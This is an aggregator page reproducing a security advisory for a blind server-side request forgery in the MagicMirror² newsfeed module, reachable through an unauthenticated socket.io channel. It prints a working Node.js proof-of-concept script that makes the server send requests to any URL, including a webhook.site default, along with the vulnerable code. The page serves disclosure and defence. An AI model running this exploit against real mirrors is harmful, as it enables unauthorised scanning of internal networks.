Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources or documents need attention: 275/275 feeds/APIs · 469/469 docs · 9/9 advisories · checked 06:21 UTC Customize Public modeDiscuss ChangeIntel on Discord

MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-998g-7v5w-cr7g

Published

# Vulnerability — Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror² newsfeed) > Analysis of the PoC `exploit-ssrf-newsfeed.js`. > Target: `newsfeed/node_helper.js` of MagicMirror², socket.io namespace `/newsfeed`. --- ## Identification | Field | Value | |-------|-------| | **PoC file** | `exploit-ssrf-newsfeed.js` | | **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` | | **Precondition** | reach the mirror's HTTP port (no authentication required) | --- ## Description The `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: "HEAD" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`. This gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target. The actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service's log), since the `canFrame` field alone leaks little. --- ## Root cause: unauthenticated socket.io channel + permissive CORS The socket.io server accepts connections from **any origin** and with **no authentication**: ```js const io = new Server(server, { cors: { origin: /.*$/, credentials: true } }); ``` The `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror's port can emit the notification. --- ## Exploit (`exploit-ssrf-newsfeed.js`) ```js const { io } = require("socket.io-client"); const TARGET = process.env.MM || "https://target/"; const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site"; const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] }); socket.onAny((event, payload) => { if (event === "ARTICLE_URL_STATUS") { console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`); console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF)."); process.exit(0); } }); socket.on("connect", () => { console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`); socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT }); }); setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000); ``` --- ## Vulnerable target code (pattern) ```js async checkArticleUrl(url) { const res = await fetch(url, { method: "HEAD" }); const canFrame = !res.headers.get("x-frame-options") && !/frame-ancestors/i.test(res.headers.get("content-security-policy") || ""); this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame }); } ``` --- ## Impact - **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive. - Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC). - Although it's HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD. --- ### References - CWE-918: Server-Side Request Forgery (SSRF) - CWE-306: Missing Authentication for Critical Function - CWE-942: Permissive Cross-domain Policy with Untrusted Domains - OWASP: SSRF Prevention Cheat Sheet > This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.

Source published
18 Aug 2026 17:26:46 UTC
Source modified
18 Aug 2026 17:41:04 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 8 Nov 06:21 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current